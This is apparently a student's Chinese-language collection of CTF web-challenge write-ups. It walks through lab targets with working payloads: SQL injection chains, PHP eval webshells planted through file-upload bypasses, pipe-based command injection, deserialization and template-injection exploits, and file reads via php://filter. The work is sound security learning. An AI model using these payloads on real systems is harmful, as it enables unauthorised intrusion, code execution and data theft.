[极客大挑战 2019]EasySQL

首先打开环境,页面上写着“我是cl4y,是一个WEB开发程序员,最近我做了一个网站,快来看看它有多精湛叭!”,没什么用,不过感谢这位大佬出的新手题,然后开注,起手用户名填admin’,密码填admin’,自信回车You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'admin''' at line 1,既然报错,说明确实是单引号闭合,于是用户名和密码后面加上or ‘1’=’1,然后就出了
当然我偷懒直接给账号后面加了个&1=1#,后面密码爱咋咋(根据报错回显,因为后面跟了语句 and password=’$password’,因此可以直接将后面注释掉,只运行前面的语句即可判断登录成功),反正注释掉了,甚至直接一个单引号闭合,加上我在xctf新手场理解的||和or和&的相似作用,所以哪个都行,外加后面跟一个实数(本来以为得是非0实数,最后发现居然是个实数就行),然后加上#把后面都注掉,一回车就是flag,(这算非预期吗?写完问问学长吧),因为把后面的sql语句都注释掉了

[极客大挑战 2019]Havefun
打开只有一个猫趴在那儿摇尾巴,这啥信息也没有啊,于是祖传f12,习惯性的一个个打开各个模块看了看这猫是怎么写出来的,果不其然,啥也没有,放js/css里面呢吧,所以这题咋整,再往下看,瞄到一串注释

1
2
3
4
5
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}

这就很明显了啊,只要猫等于狗($cat=dog),他就会输出Syc{cat_cat_cat_cat},于是我就憨憨地把这串码放到了提交框,incorrect,于是只好尴尬地输入/?cat=dog,回车,flag出现了
这次没有看题解,真简单,是的,上一道题我瞄了一眼题解才反应过来那是sql入门知识,我果然是傻瓜

[极客大挑战 2019]Secret File
让我写简单点,那:f12,找到you found me ,然后拉一下全屏,那串显现出来,点击跳转,下一页秘密就藏在这里,于是看源码,没东西,点开secret,结束了,问我是不是没看清,大概是跳转页面的时候蹦出来的,于是抓包,发送,看到返回界面有一个PHP文件,在页面下打开,代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

这里是文件包含,所以把要文件提取出来,用php伪协议file=php://filter/read=convert.base64-encode/resource=flag.php,发包,将得到的base64解密得到flag.php的内容,得到flag
傻瓜只知道看=>CSDN

[极客大挑战 2019]LoveSQL

又是快乐(bushi)的sql注入,1',报错,sql老老实实注:1' order by 1#,(先试大的,5,4,3),确认存在3个字段,1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)#得到'information_schema,mysql,performance_schema,test,geek',再精准定位一下,1' union select 1,2,database()#,得到geek,那就是这个了,接着爆表名1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='geek')#,得到两个表'geekuser,l0ve1ysq1',因为题目的缘故,就猜应该是装在l0ve1ysq1里面,然后爆字段名1'union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1')#,得到id,username,password,然后把里面的东西爆出来,1'union select 1,2,(select group_concat(username) from l0ve1ysq1)#,得到'cl4y,glzjin,Z4cHAr7zCr,0xC4m3l,Ayrain,Akko,fouc5,fouc5,fouc5,fouc5,fouc5,fouc5,fouc5,fouc5,leixiao,flag',最后一个是flag,对应的密码应该就是flag,然后同样的语句把username改成password就行,就能得到了
感觉终于没那么懵了,比方说group_concat();这个函数是将不同行数的东西输出成一行,这些mysql语句我自己非常不熟练,以后还是要多用用
(2021.4.20试验floor注入)1'and(select 1 from (select count(*) ,concat((database()),floor(rand(0)*2))x from geek.l0ve1ysq1 group by x)a)-- #

[极客大挑战 2019]Http
f12看到氛围那里有一个链接,点又不跳转,所以就直接右键选择打开该链接,按照页面上的提示抓包一步步改UA,Referer,XFF就能显示出flag了
就是抓包改http消息头

[极客大挑战 2019]php
真是咋看咋看不懂,总之在网址后面输入www.zip下载网站备份,然后看了看,flag.php里面的一看就是假flag

1
2
3
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

不会再像之前那样被骗了,然后看看class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

里面包含了flag.php文件,应该是满足条件输出$flag就是flag了,所以看看条件,password==100username==admin,但好像没地方传值,看看index.php,又包含文件class.php,下面有一个通过get传值的$select,但被unserialize()函数处理了,搜索一下,反序列化,于是就用serialize()函数先把要写入的变量转换一下,因为我自己不会,所以抄了别人的代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));

?>

运行下,接着得到string(77) "O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}"这样的语句,这样就会在class下创建两个对象并且序列化,将类名后面的2改为3,当属性数量值大于实际属性数量时,然后就能跳过_wakeup()的运行,然后类名前后必须有空格,复制的时候会被删去,所以将得到的字符串中的空格用%00替代,通过get传给select就能得到flag了
本题知识点我真是太多不知道了,这就去好好学习总结

[极客大挑战 2019]BabySQL

打开,又是那个黑客界面,写着“自从前几次网站被日,我对我的网站做了严格的过滤,你们这些黑客死心吧!!!”按照之前的注入方法一句一句注,然后发现报错,并且发现自己输入的有些语句不见了,猜测是被过滤了,就分开写,其实发现or被删的时候就有简便方法了,写好语句,在会被删的语句中插入一个or,一力破万法,接下来用户名都填个1,在密码栏爆,爆库1’ unorion selorect 1,2,database()#,得到’geek’,爆表名1’ unioron selorect 1,2,(selorect group_concat(table_name) froorm infoorrmation_schema.tables wheorre table_schema=’geek’)#,得到’b4bsql,geekuser’,爆列名1’ unorion selorect 1,2,(selorect group_concat(column_name) frorom infoorrmation_schema.columns whorere table_name=’b4bsql’)#,得到’id,username,password’,最后根据经验爆密码字段1’ unorion selorect 1,2,(selorect group_concat(passwoorrd) frorom b4bsql)#,就拿到flag了。

[极客大挑战 2019]BuyFlag

点开右上角,因为让我买flag,所以就去支付页面,pay.php,然后说我必须拥有100000000的money和密码必须正确才能买到,于是f12,看到提示给出了php代码

1
2
3
4
5
6
7
8
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}

百度搜索,is_numeric是判断是否为数字的,是数字就直接输出密码不能是数字,但下面又规定是404,所以根据经验,我打开hackbar输入了password=404a&money=100000000,页面显示没变,最下面依然写着Only Cuit’s students can buy the FLAG,看起来是要身份判断,所以抓包,身份判定一般在cookie和session处,找到cookie:user=0;应该就是判断是否为Cui’t students,所以改成1,发包,flag显示在页面上了

[极客大挑战 2019]HardSQL

打开写着‘没错,又是我,这群该死的黑客竟然如此厉害,所以我回去爆肝SQL注入,这次,再也没有人能拿到我的flag了!’,不管,先1’和1’,报错了,可知还是存在注入,输入||不行了,会被过滤,空格也不行了,在网上搜到可以用括号代替空格,报错注入,新知识,报错注入中extractvalue和datapath没差,只是原本的作用extactvalue是用于查询,而datapath是用于更新,总之赶紧安排上新知识,老样子,用户命填1,爆库名2’or(extractvalue(1,concat(1,(select(database())))))#,得到’geek’,爆表名出现问题,一个一个删掉,删掉等号时出现报错,又跑去查,可以用like代替,模糊查询,继续爆2’or(extractvalue(1,concat(1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(‘geek’)))))#,得到’H4rDsq1’,爆列名2’or(extractvalue(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’)))))#,得到’id,username,password’,爆字段2’or(extractvalue(1,concat(1,(select(group_concat(password))from(H4rDsq1)))))#,由于函数本身的限制,只能查到32位,于是用right函数2’or(extractvalue(1,concat(1,(select(group_concat(right(password,30)))from(H4rDsq1)))))#,拼接上了,得到flag
顺带一提,*被过滤掉了,所以floor报错注入不行

[ACTF2020 新生赛]Exec

打开页面是个ping,同样的知识点,无论是|&||还是;都能执行成功,1|cat /flag 即可

[RoarCTF 2019]Easy Calc

真是学到了新新新新zisi,打开是个计算器,非常神奇,能算出超级大的数字,然后f12,看到注释,写着calc.php,所以打开看看,代码审计,传值给num,但无论如何都显示错误

1
2
3
4
5
6
7
8
9
10
11
12
13
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}

解法1:在num前加上空格,因为墙没有过滤掉这种状况,但在php执行时会自动去掉空格,所以传入num的值为var_dump(scandir(chr(47))),就是这里,新zisi,/被过滤就用chr()函数,用chr(47)替代,用scandir()函数读取目录,并用var_dump()函数将scanf()函数的内容读出var_dump(scandir(chr(47))),找到f1agg,然后highlight_file()函数读出也就是highlight_file(chr(47).f1agg),便可显示出flag
解法2:http走私攻击,抓包,该消息头,在get发送处加上?num=var_dump(scandir(chr(47)))在下方数据区加上随意加入无意义数字,发送后,数据包会外加一条content-Lenth:,将其复制再粘贴,也就是重复一遍,然后发送,这样就会导致前后端解读方式不同,就会一边报错一边执行你发送的num值,成功绕过,找到f1agg,接下来就是?highlight_file(chr(47).f1agg)读取flag
小知识点:.ajax是远程http请求执行,chr()函数与字符,已经chr()函数与函数之间需要用.连接。

[ACTF2020 新生赛]BackupFile

打开是让你找源码文件,一般来说是www.zip(因为刚遇到不久),不过没什么反应,不过按照xctf新手场的经验来搞倒是可以搞出来,index.php.bak,备份文件,dirsearch估计扫2000年吧,也可能仅限于比赛时,反正赛后buu上的是扫不出来,然后是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

弱类型比较,判断是否为数字或数字字符串,前加!,说明必须是数字字符串跳过if,再和后面的字符串比较,在与数字比较时,字符串会被强制转化成int类型,后面的字符会被去掉,此时输入123便能判断相等,得到flag

源码泄露总结

[护网杯 2018]easy_tornado

打开是三个超链接,总之都点开看看,/flag打开告诉我flag in /fllllllllllllag,就试着打开/fllllllllllllag,显示404,返回照着进入flag.txt的格式进入,但后面的filehash无从得知,结果是error,然后返回看看其他,/welcome.txt,写着个render,百度render,啥也不是,再看看/hints.txtmd5(cookie_secret+md5(filename)),这是md5加密的意思,大概是要把filename输入的值md5加密后拼接到cookie_secret后面,cookie_secret是个啥也不知道,就打开bp抓包看看,cookie处的情况稀疏平常,所以一如既往地看了大佬们的wp,题目也是提示,tornado render模板注入,于是跑去看,看不懂… 文章链接{{}}是一种格式,然后文章链接=>handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所有handler.settings就指向RequestHandler.application.settings了,sectet_cookie就在handler.settings里面,所以就构造payload=>先输入/file?filename=/导致报错界面,输入msg={{handler.settings}},然后得到{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '50703eae-c8db-4e16-b570-83bf6ca885d0'} ,然后在线md5加密,将我将要输入的filename的值输入进去也就是/fllllllllllllag,然后将加密得到的字符串拼接到得到的secret-cookie后面,然后将这一长串字符再进行md5加密,将得到的字符串作为filehash的值传入,然后/fllllllllllllag传给filename,得到flag

暂时就告一段落,好多知识点需要整理

[极客大挑战 2019]Knife

好耶!蚁剑终于搞好了(百度了代码解压错误的解决方法,原来是要把解压出来的文件夹作为目标文件夹),shell作为密码连上就能直接看目录了(2021.4.18)

[强网杯 2019]随便注

1' or 1=1 #,查到一个表里的东西,但没什么意义,然后查列,只有一列,但想联合查询注入时显示有waf:
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
尝试堆叠注入:1';show databases;,查到数据库ctftraininginformation_schema,performance_schema,mysql,supersqli,test,使用报错注入-1'or extractvalue(1,concat('~',database()))-- #得到当前所在数据库为supersqli,继续看数据表1';show tables;#,查到当前数据库有数据表words和1919810931114514,然后看一眼那个数字表,desc `1919810931114514` ;,里面只有一列flag,既然一开始的万能密码读出的不是flag,那就说明查表是在words表中进行的,那么就需要读出,当然我不会(抱头痛哭,悔不当初)!
wp中给出的几种方法中,最容易理解的是改表名和列名,通过堆叠注入将表改掉,使得查询变成在数字名的表中查询: 0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#,第一部分是闭合,第二部分是修改原本查询的表名rename table 原表名 to 新表名;,第三部分是修改存有flag的表的表名为查询进行的表名,第四部分是修改列名alter table 表名 change 原列名 新列名 列数据类型,之后是下一部分,这部分是数据库字符集CHARACTER SET utf8,设置数据库默认编码为utf8,以及COLLATE utf8_general_ci基于ci原则进行编码为utf8的整理,ci是指case insensitive大小写不敏感,最后设置非空NOT NULL,此时再使用万能密码就能爆出flag了
然后是第二种方法,仔细一看发现也很好理解,预处理语句,一开始我是使用报错注入,打算把过滤的部分断开然后用concat连接,但发现连接后的语句不会发挥作用,只是单纯的字符串罢了,但预处理就不同了,可以直接将预备写入的sql语句存在一个变量里面
1';prepare muhua from concat('selec','t flag from `1919810931114514`');execute muhua;

prepare 自己设定的变量 from ‘sql语句’;,然后使用execute 自己设定的变量;,就能运行,而构造的sql语句可以使用concat()函数连缀起来,就能绕过了。
然后根据GXYCTF的考点,于是又学到一种解,是通过HANDLER语句来读出表中数据,直接给出payload:1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;
官方文档

[ACTF2020 新生赛]Include

打开环境,一个tips,点一下,一堆无意义文字,但可以看到通过get的方式让file变量得到了flag.php,那么flag应该就在这个文件里,用php伪协议得到flag.php的源码:?file=php://filter/convert.base64-encode/resource=flag.php

[极客大挑战 2019]Upload

打开环境,让我上传头像,就随便点了一个文件,然后抓包,(千万别用图片,因为要修改内容,一大堆数据懒得删),然后重发器发送,结果它告诉我不是img!!!明明就是jpg文件,大概是识别的问题吧,所以用GIF89a图片头进行文件欺骗,然后消息头的content-type:处需要修改成image/jpeg,然后文件名后缀不支持php,但支持phtml(带有php代码的html文件),发现还会检测文件内的符号<?,所以用script运行,写入一句话<script language="php">@eval($_REQUEST["muhua"])</script>,上传成功,然后用蚁剑连接,成功连上后,flag文件就在根目录

[ACTF2020 新生赛]Upload

会有js阻止上传jpg,png,gif以外的文件,但可以直接上传图片,抓包,修改数据,将文件扩展名改为phtml,考虑可能有过滤,直接用图片头GIF89a进行文件欺骗,然后构造shell:,复制界面上提示的位置,用蚁剑连接

蓝帽杯 web2

绕过方法:下载附件,首先打开add_api.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>

文件包含了user.php,打开看看:

1
2
3
4
5
<?php
class User{
public $count;
}
?>

就是创建了个叫User的类,里面定义了一个叫$count的属性,所以继续回来看add_api.php,首先,可以看到eval就在第一条if语句的else语句里面,那么就看看第一条if语句的成立条件,$user=unserialize($_COOKIE["data"]),抓包找到cookie中data的值,并且将其反序列化,传值给user,下面一个判断语句里面是要让$count当前值取到1,只有当前if语句里面的赋值失败才能执行shell,并且在判断语句之前有一句$count[++$user->count]=1;,给所给位置的下一个位置赋值为1,那么要让下一句中if的条件不成立,我们需要的就是所给位置的下一个位置出错,于是就给出php中数组的最大值,这样就会报错,此时再从backdoor传入指令,先看看phpinfo();
后面看不懂了

[GXYCTF2019]BabySQli

sql注入,试了几下,联合查询注入没有过滤,但想查字段数时却显示don't hack me,说明有过滤,之后尝试出被过滤的有(),or=,括号被过滤就搞不懂了,因为查询和报错都需要用到(),然后看源码,sql语句在search.php里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";

// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}

$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}

?>

可以看到过滤的就是之前说的那几个,然后按顺序看,按抓包得到的信息可以知道传入的数据是通过哪些值,第一句是提示,根据只有大写字母和数字的特点推断是base32加密,解码后,根据包含大小写字母以及末尾的两个等号推断是base64加密,两次解密后得到:select * from user where username = '$name',此句应该就是突破点,通过下面语句:

1
2
3
$sql = "select * from user where username = '".$name."'";
$result = mysqli_query($con, $sql);
$arr = mysqli_fetch_row($result);

将表user中得到的匹配$name的数据放入了数组$arr中,之后出现判断条件$arr[1] == "admin"那么$name字段就是admin,然后下一个判断条件md5($password) == $arr[2],意思是在password栏输入的密码的MD5值要等于$arr的第二个数据,那么明显,$arr有3个位置,可以试着用联合查询注入,控制着这3个位置的值,那么就是:
user栏:'union select 1,'admin','要输入的password栏的值的MD5值'
password栏:随意值
上传即可得到flag

[GXYCTF2019]Blacklist

本来以为是强网杯随便注的复刻,没想到是强化版,将之前两个点都ban了,也就是说还有其他解,我当然不知道,于是又是看题解,于是学习到用HANDLER语句查看表的方法,于是payload:1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
官方文档

[网鼎杯 2018]Fakebook

什么ssrf,不会
首先打开,啥也没有,然后jion,然后可以查看,发现自己输入的blog被显示出来了了,robots.txt,下载源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}
?>

继续查看,发现注入点,我报错注入,data是序列化数据,对照这个数据并且对照源码类的创建格式,进行序列化

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class UserInfo
{
public $name = "muhua";
public $age = 0;
public $blog = "file:///var/www/html/flag.php";

}

$a = new UserInfo();
echo serialize($a);
?>

得到序列化数据,flag的位置怎么得到的我也不知道,反正据说原题是可以扫后台得到的,反正复现扫不出,总之得到,O:8:"UserInfo":3:{s:4:"name";s:5:"muhua";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
最后还是要联合查询注入,让后台去执行我传入的file协议,不过有waf,稍微绕一下
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"muhua";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
页面·源码查看。

[MRCTF2020]Ez_bypass

页面源码复制下来看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}
?>

MD5值要完全相等,如果只是弱类型比较可以用MD5碰撞绕过,但这里是没办法这样绕过的,这里通过将传入为数组payload:?gg[]=1&id[]=2,出错返回NULL,得到相等,然后弱类型比较,post传入passwd=1234567a,成功绕过。

[MRCTF2020]你传你🐎呢

上传,这次只能上传图片了,想传个shell就直接连是不可能了,所以先上传个假图片。
先上传个空文档,抓包,修改名字为以.jpg为文件扩展名的文件。
将文件类型改为image/jpeg
文件内容写上shell:<?php @eval($_POST['muhua']);?>
发送,返回信息中得到文件的路径。
(追加:这题只能用POST或者REQUEST才能蚁剑连上,GET不能连接,并且还可以通过GET进行rce看到phpinfo,system和exec等函数都被ban了)
但这终究是个jpg文件,所以要用.htaccess来进行图片解析,关于.htaccess的知识,贴个网站,会用就行,类似自定义一个解析规则
文件名.htaccess
文件内容AddType application/x-httpd-php .jpg
这就意味着以.jpg为文件扩展名的文件都会被作为php代码执行
文件类型依然是image/jpeg,上传
然后蚁剑连接,路径就是传第一个文件得到的路径。flag在根目录下。

BJDCTF2020]Easy MD5

md5函数,两个参数,第一个参数是字符串,如果是数组就会报错并且返回false,第二个参数是为:truefalse,如果是true,则返回该字符串的原始 16 字符二进制格式MD5,如果是false,则返回32 字符十六进制数,如果第二个参数为空则默认为false
随意输入值上传,抓包,在响应头可以看见hint: select * from 'admin' where password=md5($pass,true)
通过传入MD5值含有'or'的字符串,即可绕过等同于万能密码,闭合前面字段,并且后面字段不为空
这样的字符有以下两个,都是大佬们的积累
129581926211651571912466741651878684928
ffifdyop
绕过即可跳达到下一个页面,页面源码有提示,

1
2
3
4
5
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.

注释内容暂且不论,内容还是很简单的,两个不相等的变量的MD5值相等,通过MD5碰撞(MD5为0e开头的字符串)或者数组绕过(MD5对于传入参数为数组的情况会报错并且返回false,就会变成null,两个null即可相等绕过)都行,这里数组绕过比较快:?a[]=b&b[]=a
接着下一个页面

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

这里就只能数组绕过了,拿到flag。

[ZJCTF 2019]NiZhuanSiWei

考点:1.data协议,2.PHP伪协议,3.简单的反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

首先需要使text作为一个文件,里面有welcome to the zjctf,使用data协议写入, ?text=data:text/plain,welcome to the zjctf,成功绕过
接着下一个点有提示,uneless.php,通过PHP伪协议查看该文件内容,完善payload:
?text=data:text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php
得到的内容转码后

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

结合上面的

1
2
$password = unserialize($password);
echo $password;

可以反序列化读取flag.php
构造poc.php:

1
2
3
4
5
6
7
<?php
class Flag{
public $file="flag.php";
}
$a= new Flag;
echo serialize($a);
?>

得到O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
通过文件包含使得可以调用useless.php里面的类进行文件读取
于是构造完整的payload:?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
在页面源码得到flag。

[BUUCTF 2018]Online Tool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox); //创建目录
chdir($sandbox); //修改目录
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

该题是考察escapeshellargescapeshellcmd这两个过滤函数配合造成的单引号漏洞,有文章的:链接
escapeshellarg函数先进行对特殊符号转义并加上单引号(escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的),第二个函数再对特殊符号进行转义且对未匹配的引号进行转义,导致第一个函数加的转义符号被转义,而单引号因为配对未被转义,最终末尾的单引号被加上转义符号,但前面的转义符号以及被解释为非转义符号,导致,后面添加的转义符号也实现,因此传入的代码成功绕过
?host=' <?php @eval($_POST[muhua])?> -oG muhua.php '
蚁剑连接url/+sandbox后的字符串+/muhua.php

[网鼎杯 2020 青龙组]AreUSerialz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

给我看晕了头,看来还是代码看少了
